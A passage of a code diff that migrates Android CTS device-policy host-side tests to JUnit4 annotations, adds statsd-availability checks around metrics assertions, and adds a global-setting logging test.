     public void testDoCanRemoveProfileEvenIfUserRestrictionSet() throws Exception {
         if (!mHasFeature) {
             return;
@@ -270,6 +297,7 @@
         assertUserGetsRemoved(profileUserId);
     }
 
+    @Test
     public void testCannotAddProfileIfRestrictionSet() throws Exception {
         if (!mHasFeature) {
             return;
@@ -281,6 +309,7 @@
     /**
      * Both device owner and profile are the same package ({@link #COMP_DPC_PKG}).
      */
+    @Test
     public void testIsProvisioningAllowed() throws Exception {
         if (!mHasFeature) {
             return;
@@ -309,6 +338,7 @@
         assertProvisionManagedProfileAllowed(COMP_DPC_PKG);
     }
 
+    @Test
     public void testWipeData_managedProfile() throws Exception {
         if (!mHasFeature) {
             return;
@@ -325,8 +355,9 @@
         assertUserGetsRemoved(profileUserId);
     }
 
+    @Test
     public void testWipeData_managedProfileLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
@@ -336,6 +367,7 @@
         }, WIPE_DATA_WITH_REASON_DEVICE_POLICY_EVENT);
     }
 
+    @Test
     public void testWipeData_secondaryUser() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
@@ -352,8 +384,9 @@
         assertUserGetsRemoved(secondaryUserId);
     }
 
+    @Test
     public void testWipeData_secondaryUserLogged() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+        if (!mHasFeature || !canCreateAdditionalUsers(1) || !isStatsdEnabled(getDevice())) {
             return;
         }
         int secondaryUserId = setupManagedSecondaryUser();
@@ -363,6 +396,7 @@
         }, WIPE_DATA_WITH_REASON_DEVICE_POLICY_EVENT);
     }
 
+    @Test
     public void testNetworkAndSecurityLoggingAvailableIfAffiliated() throws Exception {
         if (!mHasFeature) {
             return;
@@ -416,6 +450,8 @@
         }
     }
 
+    @FlakyTest
+    @Test
     public void testRequestBugreportAvailableIfAffiliated() throws Exception {
         if (!mHasFeature) {
             return;
@@ -456,6 +492,7 @@
                 mPrimaryUserId);
     }
 
+    @Test
     public void testCannotStartManagedProfileInBackground() throws Exception {
         if (!mHasFeature) {
             return;
@@ -469,6 +506,7 @@
                 mPrimaryUserId);
     }
 
+    @Test
     public void testCannotStopManagedProfile() throws Exception {
         if (!mHasFeature) {
             return;
@@ -482,6 +520,7 @@
                 mPrimaryUserId);
     }
 
+    @Test
     public void testCannotLogoutManagedProfile() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 7c335c2..a54bc68 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -17,7 +17,15 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
 import android.stats.devicepolicy.EventId;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -26,6 +34,8 @@
 
 import com.google.common.io.ByteStreams;
 
+import org.junit.Test;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
@@ -100,8 +110,17 @@
     /** CreateAndManageUser is available and an additional user can be created. */
     private boolean mHasCreateAndManageUserFeature;
 
+    /**
+     * Copied from {@link android.app.admin.DevicePolicyManager}
+     */
+    private static final String GLOBAL_SETTING_AUTO_TIME = "auto_time";
+    private static final String GLOBAL_SETTING_AUTO_TIME_ZONE = "auto_time_zone";
+    private static final String GLOBAL_SETTING_DATA_ROAMING = "data_roaming";
+    private static final String GLOBAL_SETTING_USB_MASS_STORAGE_ENABLED =
+            "usb_mass_storage_enabled";
+
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         if (mHasFeature) {
             installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
@@ -121,7 +140,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove device owner.",
                     removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId));
@@ -134,34 +153,43 @@
         super.tearDown();
     }
 
+    @Test
     public void testDeviceOwnerSetup() throws Exception {
         executeDeviceOwnerTest("DeviceOwnerSetupTest");
     }
 
+    @Test
     public void testLockScreenInfo() throws Exception {
         if (!mHasFeature) {
             return;
         }
         executeDeviceOwnerTest("LockScreenInfoTest");
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".LockScreenInfoTest", "testSetAndGetLockInfo");
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_DEVICE_OWNER_LOCK_SCREEN_INFO_VALUE)
-                .setAdminPackageName(DEVICE_OWNER_PKG)
-                .build());
+        if (isStatsdEnabled(getDevice())) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".LockScreenInfoTest", "testSetAndGetLockInfo");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_DEVICE_OWNER_LOCK_SCREEN_INFO_VALUE)
+                    .setAdminPackageName(DEVICE_OWNER_PKG)
+                    .build());
+        }
     }
 
+    @FlakyTest(bugId = 137088260)
+    @Test
     public void testWifi() throws Exception {
         if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
             return;
         }
         executeDeviceOwnerTest("WifiTest");
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".WifiTest", "testGetWifiMacAddress");
-        }, new DevicePolicyEventWrapper.Builder(EventId.GET_WIFI_MAC_ADDRESS_VALUE)
-                .setAdminPackageName(DEVICE_OWNER_PKG)
-                .build());
+        if (isStatsdEnabled(getDevice())) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".WifiTest", "testGetWifiMacAddress");
+            }, new DevicePolicyEventWrapper.Builder(EventId.GET_WIFI_MAC_ADDRESS_VALUE)
+                    .setAdminPackageName(DEVICE_OWNER_PKG)
+                    .build());
+        }
     }
 
+    @Test
     public void testRemoteBugreportWithTwoUsers() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
@@ -175,6 +203,8 @@
         }
     }
 
+    @FlakyTest(bugId = 137071121)
+    @Test
     public void testCreateAndManageUser_LowStorage() throws Exception {
         if (!mHasCreateAndManageUserFeature) {
             return;
@@ -197,6 +227,7 @@
         }
     }
 
+    @Test
     public void testCreateAndManageUser_MaxUsers() throws Exception {
         if (!mHasCreateAndManageUserFeature) {
             return;
@@ -217,6 +248,7 @@
      * Test creating an user using the DevicePolicyManager's createAndManageUser.
      * {@link android.app.admin.DevicePolicyManager#getSecondaryUsers} is tested.
      */
+    @Test
     public void testCreateAndManageUser_GetSecondaryUsers() throws Exception {
         if (!mHasCreateAndManageUserFeature) {
             return;
@@ -231,6 +263,8 @@
      * to the user.
      * {@link android.app.admin.DevicePolicyManager#switchUser} is tested.
      */
+    @FlakyTest(bugId = 131743223)
+    @Test
     public void testCreateAndManageUser_SwitchUser() throws Exception {
         if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
             return;
@@ -245,6 +279,7 @@
      * to the user to test stop user while target user is in foreground.
      * {@link android.app.admin.DevicePolicyManager#stopUser} is tested.
      */
+    @Test
     public void testCreateAndManageUser_CannotStopCurrentUser() throws Exception {
         if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
             return;
@@ -259,6 +294,7 @@
      * the user in background to test APIs on that user.
      * {@link android.app.admin.DevicePolicyManager#startUserInBackground} is tested.
      */
+    @Test
     public void testCreateAndManageUser_StartInBackground() throws Exception {
         if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
             return;
@@ -273,6 +309,7 @@
      * the user in background to test APIs on that user.
      * {@link android.app.admin.DevicePolicyManager#startUserInBackground} is tested.
      */
+    @Test
     public void testCreateAndManageUser_StartInBackground_MaxRunningUsers() throws Exception {
         if (!mHasCreateAndManageUserFeature) {
             return;
@@ -303,6 +340,7 @@
      * the user in background to test APIs on that user.
      * {@link android.app.admin.DevicePolicyManager#stopUser} is tested.
      */
+    @Test
     public void testCreateAndManageUser_StopUser() throws Exception {
         if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
             return;
@@ -318,6 +356,7 @@
      * and start the user in background, user is then stopped. The user should be removed
      * automatically even when DISALLOW_REMOVE_USER is set.
      */
+    @Test
     public void testCreateAndManageUser_StopEphemeralUser_DisallowRemoveUser() throws Exception {
         if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
             return;
@@ -333,6 +372,7 @@
      * the user and start the user in background to test APIs on that user.
      * {@link android.app.admin.DevicePolicyManager#logoutUser} is tested.
      */
+    @Test
     public void testCreateAndManageUser_LogoutUser() throws Exception {
         if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
             return;
@@ -348,6 +388,7 @@
      * the user and start the user in background to test APIs on that user.
      * {@link android.app.admin.DevicePolicyManager#isAffiliatedUser} is tested.
      */
+    @Test
     public void testCreateAndManageUser_Affiliated() throws Exception {
         if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
             return;
@@ -362,6 +403,7 @@
      * affiliate the user and start the user in background to test APIs on that user.
      * {@link android.app.admin.DevicePolicyManager#isEphemeralUser} is tested.
      */
+    @Test
     public void testCreateAndManageUser_Ephemeral() throws Exception {
         if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
             return;
@@ -384,6 +426,7 @@
      * the user and start the user in background to test APIs on that user.
      * {@link android.app.admin.DevicePolicyManager#LEAVE_ALL_SYSTEM_APPS_ENABLED} is tested.
      */
+    @Test
     public void testCreateAndManageUser_LeaveAllSystemApps() throws Exception {
         if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
             return;
@@ -393,6 +436,7 @@
                 "testCreateAndManageUser_LeaveAllSystemApps");
     }
 
+    @Test
     public void testCreateAndManageUser_SkipSetupWizard() throws Exception {
         if (mHasCreateAndManageUserFeature) {
             executeDeviceTestMethod(".CreateAndManageUserTest",
@@ -400,6 +444,7 @@
        }
     }
 
+    @Test
     public void testCreateAndManageUser_AddRestrictionSet() throws Exception {
         if (mHasCreateAndManageUserFeature) {
             executeDeviceTestMethod(".CreateAndManageUserTest",
@@ -407,6 +452,7 @@
         }
     }
 
+    @Test
     public void testCreateAndManageUser_RemoveRestrictionSet() throws Exception {
         if (mHasCreateAndManageUserFeature) {
             executeDeviceTestMethod(".CreateAndManageUserTest",
@@ -414,6 +460,8 @@
         }
     }
 
+    @FlakyTest(bugId = 126955083)
+    @Test
     public void testUserAddedOrRemovedBroadcasts() throws Exception {
         if (mHasCreateAndManageUserFeature) {
             executeDeviceTestMethod(".CreateAndManageUserTest",
@@ -421,6 +469,7 @@
         }
     }
 
+    @Test
     public void testUserSession() throws Exception {
         if (!mHasFeature) {
             return;
@@ -428,6 +477,7 @@
         executeDeviceOwnerTest("UserSessionTest");
     }
 
+    @Test
     public void testSecurityLoggingWithTwoUsers() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
@@ -448,6 +498,8 @@
         }
     }
 
+    @FlakyTest(bugId = 137093665)
+    @Test
     public void testSecurityLoggingWithSingleUser() throws Exception {
         if (!mHasFeature) {
             return;
@@ -490,8 +542,9 @@
         }
     }
 
+    @Test
     public void testSecurityLoggingEnabledLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -515,6 +568,7 @@
         }
     }
 
+    @Test
     public void testNetworkLoggingWithTwoUsers() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
@@ -531,6 +585,8 @@
         }
     }
 
+    @FlakyTest(bugId = 137092833)
+    @Test
     public void testNetworkLoggingWithSingleUser() throws Exception {
         if (!mHasFeature) {
             return;
@@ -540,6 +596,7 @@
                 Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(1)));
     }
 
+    @Test
     public void testNetworkLogging_multipleBatches() throws Exception {
         if (!mHasFeature) {
             return;
@@ -548,6 +605,8 @@
                 Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(2)));
     }
 
+    @LargeTest
+    @Test
     public void testNetworkLogging_rebootResetsId() throws Exception {
         if (!mHasFeature) {
             return;
@@ -565,6 +624,7 @@
     }
 
 
+    @Test
     public void testSetAffiliationId_IllegalArgumentException() throws Exception {
         if (!mHasFeature) {
             return;
@@ -573,6 +633,8 @@
         executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_containsEmptyString");
     }
 
+    @LargeTest
+    @Test
     public void testSystemUpdatePolicy() throws Exception {
         if (!mHasFeature) {
             return;
@@ -580,8 +642,9 @@
         executeDeviceOwnerTest("SystemUpdatePolicyTest");
     }
 
+    @Test
     public void testSetSystemUpdatePolicyLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -610,6 +673,8 @@
                     .build());
     }
 
+    @FlakyTest(bugId = 127101449)
+    @Test
     public void testWifiConfigLockdown() throws Exception {
         final boolean hasWifi = hasDeviceFeature("android.hardware.wifi");
         if (hasWifi && mHasFeature) {
@@ -628,6 +693,7 @@
     /**
      * Execute WifiSetHttpProxyTest as device owner.
      */
+    @Test
     public void testWifiSetHttpProxyTest() throws Exception {
         final boolean hasWifi = hasDeviceFeature("android.hardware.wifi");
         if (hasWifi && mHasFeature) {
@@ -635,6 +701,7 @@
         }
     }
 
+    @Test
     public void testCannotSetDeviceOwnerAgain() throws Exception {
         if (!mHasFeature) {
             return;
@@ -658,6 +725,7 @@
     }
 
     // Execute HardwarePropertiesManagerTest as a device owner.
+    @Test
     public void testHardwarePropertiesManagerAsDeviceOwner() throws Exception {
         if (!mHasFeature) {
             return;
@@ -667,6 +735,7 @@
     }
 
     // Execute VrTemperatureTest as a device owner.
+    @Test
     public void testVrTemperaturesAsDeviceOwner() throws Exception {
         if (!mHasFeature) {
             return;
@@ -675,6 +744,7 @@
         executeDeviceTestMethod(".VrTemperatureTest", "testVrTemperatures");
     }
 
+    @Test
     public void testIsManagedDeviceProvisioningAllowed() throws Exception {
         if (!mHasFeature) {
             return;
@@ -687,6 +757,7 @@
     /**
      * Can provision Managed Profile when DO is set by default if they are the same admin.
      */
+    @Test
     public void testIsManagedProfileProvisioningAllowed_deviceOwnerIsSet() throws Exception {
         if (!mHasFeature) {
             return;
@@ -698,26 +769,32 @@
                 "testIsProvisioningAllowedTrueForManagedProfileAction");
     }
 
+    @FlakyTest(bugId = 137096267)
+    @Test
     public void testAdminActionBookkeeping() throws Exception {
         if (!mHasFeature) {
             return;
         }
         executeDeviceOwnerTest("AdminActionBookkeepingTest");
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRetrieveSecurityLogs");
-        }, new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_SECURITY_LOGS_VALUE)
+        if (isStatsdEnabled(getDevice())) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRetrieveSecurityLogs");
+            }, new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_SECURITY_LOGS_VALUE)
                     .setAdminPackageName(DEVICE_OWNER_PKG)
                     .build(),
-            new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
+            new DevicePolicyEventWrapper.Builder(
+                    EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
                     .setAdminPackageName(DEVICE_OWNER_PKG)
                     .build());
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
-        }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
-                .setAdminPackageName(DEVICE_OWNER_PKG)
-                .build());
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
+            }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
+                    .setAdminPackageName(DEVICE_OWNER_PKG)
+                    .build());
+        }
     }
 
+    @Test
     public void testBluetoothRestriction() throws Exception {
         if (!mHasFeature) {
             return;
@@ -725,6 +802,7 @@
         executeDeviceOwnerTest("BluetoothRestrictionTest");
     }
 
+    @Test
     public void testSetTime() throws Exception {
         if (!mHasFeature) {
             return;
@@ -732,6 +810,7 @@
         executeDeviceOwnerTest("SetTimeTest");
     }
 
+    @Test
     public void testDeviceOwnerProvisioning() throws Exception {
         if (!mHasFeature) {
             return;
@@ -739,6 +818,7 @@
         executeDeviceOwnerTest("DeviceOwnerProvisioningTest");
     }
 
+    @Test
     public void testDisallowFactoryReset() throws Exception {
         if (!mHasFeature) {
             return;
@@ -761,6 +841,7 @@
         }
     }
 
+    @Test
     public void testBackupServiceEnabling() throws Exception {
         final boolean hasBackupService = getDevice().hasFeature(FEATURE_BACKUP);
         // The backup service cannot be enabled if the backup feature is not supported.
@@ -771,6 +852,7 @@
                 "testEnablingAndDisablingBackupService");
     }
 
+    @Test
     public void testDeviceOwnerCanGetDeviceIdentifiers() throws Exception {
         // The Device Owner should have access to all device identifiers.
         if (!mHasFeature) {
@@ -780,6 +862,7 @@
                 "testDeviceOwnerCanGetDeviceIdentifiersWithPermission");
     }
 
+    @Test
     public void testDeviceOwnerCannotGetDeviceIdentifiersWithoutPermission() throws Exception {
         // The Device Owner must have the READ_PHONE_STATE permission to get access to the device
         // identifiers.
@@ -794,11 +877,12 @@
                 "testDeviceOwnerCannotGetDeviceIdentifiersWithoutPermission");
     }
 
+    @Test
     public void testPackageInstallCache() throws Exception {
         if (!mHasFeature) {
             return;
         }
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         final File apk = buildHelper.getTestFile(TEST_APP_APK);
         try {
             getDevice().uninstallPackage(TEST_APP_PKG);
@@ -837,12 +921,14 @@
         }
     }
 
+    @LargeTest
+    @Test
     public void testPackageInstallCache_multiUser() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
         }
         final int userId = createAffiliatedSecondaryUser();
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         final File apk = buildHelper.getTestFile(TEST_APP_APK);
         try {
             getDevice().uninstallPackage(TEST_APP_PKG);
@@ -892,6 +978,7 @@
         }
     }
 
+    @Test
     public void testAirplaneModeRestriction() throws Exception {
         if (!mHasFeature) {
             return;
@@ -899,6 +986,7 @@
         executeDeviceOwnerTest("AirplaneModeRestrictionTest");
     }
 
+    @Test
     public void testOverrideApn() throws Exception {
         if (!mHasFeature || !hasDeviceFeature("android.hardware.telephony")) {
             return;
@@ -906,6 +994,8 @@
         executeDeviceOwnerTest("OverrideApnTest");
     }
 
+    @FlakyTest(bugId = 134487729)
+    @Test
     public void testPrivateDnsPolicy() throws Exception {
         if (!mHasFeature) {
             return;
@@ -913,6 +1003,7 @@
         executeDeviceOwnerTest("PrivateDnsPolicyTest");
     }
 
+    @Test
     public void testInstallUpdate() throws Exception {
         if (!mHasFeature) {
             return;
@@ -926,8 +1017,9 @@
         executeDeviceOwnerTest("InstallUpdateTest");
     }
 
+    @Test
     public void testInstallUpdateLogged() throws Exception {
-        if (!mHasFeature || !isDeviceAb()) {
+        if (!mHasFeature || !isDeviceAb() || !isStatsdEnabled(getDevice())) {
             return;
         }
         pushUpdateFileToDevice("wrongHash.zip");
@@ -960,8 +1052,9 @@
         file.delete();
     }
 
+    @Test
     public void testSetKeyguardDisabledLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -971,8 +1064,9 @@
                 .build());
     }
 
+    @Test
     public void testSetStatusBarDisabledLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -987,6 +1081,7 @@
                     .build());
     }
 
+    @Test
     public void testNoHiddenActivityFoundTest() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1011,6 +1106,31 @@
         }
     }
 
+    @Test
+    public void testSetGlobalSettingLogged() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetGlobalSettingLogged");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_GLOBAL_SETTING_VALUE)
+                .setAdminPackageName(DEVICE_OWNER_PKG)
+                .setStrings(GLOBAL_SETTING_AUTO_TIME, "1")
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.SET_GLOBAL_SETTING_VALUE)
+                .setAdminPackageName(DEVICE_OWNER_PKG)
+                .setStrings(GLOBAL_SETTING_AUTO_TIME_ZONE, "1")
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.SET_GLOBAL_SETTING_VALUE)
+                .setAdminPackageName(DEVICE_OWNER_PKG)
+                .setStrings(GLOBAL_SETTING_DATA_ROAMING, "1")
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.SET_GLOBAL_SETTING_VALUE)
+                .setAdminPackageName(DEVICE_OWNER_PKG)
+                .setStrings(GLOBAL_SETTING_USB_MASS_STORAGE_ENABLED, "1")
+                .build());
+    }
+
     private void executeDeviceOwnerTest(String testClassName) throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
index d941316..9174466 100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
@@ -1,5 +1,7 @@
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.fail;
+
 import android.util.Log;
 
 /**
@@ -15,7 +17,7 @@
     extends DeviceAndProfileOwnerHostSideTransferTest {
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         // We need managed users to be supported in order to create a profile of the user owner.
         mHasFeature &= hasDeviceFeature("android.software.managed_users");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
index 84bdd7d..c7a2ae6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
@@ -16,24 +16,30 @@
 
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
 /**
  * Tests for ephemeral users and profiles.
  */
 public class EphemeralUserTest extends BaseDevicePolicyTest {
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         mHasFeature = canCreateAdditionalUsers(1);
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         removeTestUsers();
         super.tearDown();
     }
 
     /** The user should have the ephemeral flag set if it was created as ephemeral. */
+    @Test
     public void testCreateEphemeralUser() throws Exception {
         if (!mHasFeature) {
             return;
@@ -44,6 +50,7 @@
     }
 
     /** The user should not have the ephemeral flag set if it was not created as ephemeral. */
+    @Test
     public void testCreateLongLivedUser() throws Exception {
         if (!mHasFeature) {
             return;
@@ -57,6 +64,7 @@
      * The profile should have the ephemeral flag set automatically if its parent user is
      * ephemeral.
      */
+    @Test
     public void testProfileInheritsEphemeral() throws Exception {
         if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")
                 || !canCreateAdditionalUsers(2)
@@ -72,6 +80,7 @@
     /**
      * Ephemeral user should be automatically removed after it is stopped.
      */
+    @Test
     public void testRemoveEphemeralOnStop() throws Exception {
         if (!mHasFeature) {
             return;
@@ -87,6 +96,7 @@
      * The guest should be automatically created ephemeral when the ephemeral-guest feature is set
      * and not ephemeral when the feature is not set.
      */
+    @Test
     public void testEphemeralGuestFeature() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
index 8ae7184..5c5438b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsMultiUserTest.java
@@ -16,9 +16,7 @@
 
 package com.android.cts.devicepolicy;
 
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
+import org.junit.Test;
 
 import java.util.Collections;
 
@@ -34,7 +32,7 @@
     private boolean mMultiUserSupported;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         // We need multi user to be supported in order to create a secondary user
         // and api level 21 to support LauncherApps
@@ -52,7 +50,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mMultiUserSupported) {
             removeUser(mSecondaryUserId);
             uninstallTestApps();
@@ -60,6 +58,7 @@
         super.tearDown();
     }
 
+    @Test
     public void testGetActivitiesForNonProfileFails() throws Exception {
         if (!mMultiUserSupported) {
             return;
@@ -72,6 +71,7 @@
                 Collections.singletonMap(PARAM_TEST_USER, mSecondaryUserSerialNumber));
     }
 
+    @Test
     public void testNoLauncherCallbackPackageAddedSecondaryUser() throws Exception {
         if (!mMultiUserSupported) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
index f8a78f0..c4618ee 100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -16,10 +16,12 @@
 
 package com.android.cts.devicepolicy;
 
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import android.platform.test.annotations.FlakyTest;
+
 import com.android.tradefed.log.LogUtil.CLog;
 
+import org.junit.Test;
+
 import java.util.Collections;
 
 /**
@@ -40,7 +42,7 @@
     private String mMainUserSerialNumber;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
         if (mHasFeature) {
@@ -61,7 +63,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             removeUser(mProfileUserId);
             uninstallTestApps();
@@ -70,6 +72,7 @@
         super.tearDown();
     }
 
+    @Test
     public void testGetActivitiesWithProfile() throws Exception {
         if (!mHasFeature) {
             return;
@@ -105,6 +108,7 @@
                 mProfileUserId);
     }
 
+    @Test
     public void testProfileOwnerAppHiddenInPrimaryProfile() throws Exception {
         if (!mHasFeature) {
             return;
@@ -117,6 +121,7 @@
                 mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mMainUserSerialNumber));
     }
 
+    @Test
     public void testNoHiddenActivityInProfile() throws Exception {
         if (!mHasFeature) {
             return;
@@ -134,6 +139,8 @@
                 mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mMainUserSerialNumber));
     }
 
+    @FlakyTest
+    @Test
     public void testLauncherCallbackPackageAddedProfile() throws Exception {
         if (!mHasFeature) {
             return;
@@ -146,6 +153,8 @@
                 mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
     }
 
+    @FlakyTest
+    @Test
     public void testLauncherCallbackPackageRemovedProfile() throws Exception {
         if (!mHasFeature) {
             return;
@@ -159,6 +168,8 @@
                 mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
     }
 
+    @FlakyTest
+    @Test
     public void testLauncherCallbackPackageChangedProfile() throws Exception {
         if (!mHasFeature) {
             return;
@@ -173,6 +184,7 @@
                 mParentUserId, Collections.singletonMap(PARAM_TEST_USER, mProfileSerialNumber));
     }
 
+    @Test
     public void testReverseAccessNoThrow() throws Exception {
         if (!mHasFeature) {
             return;
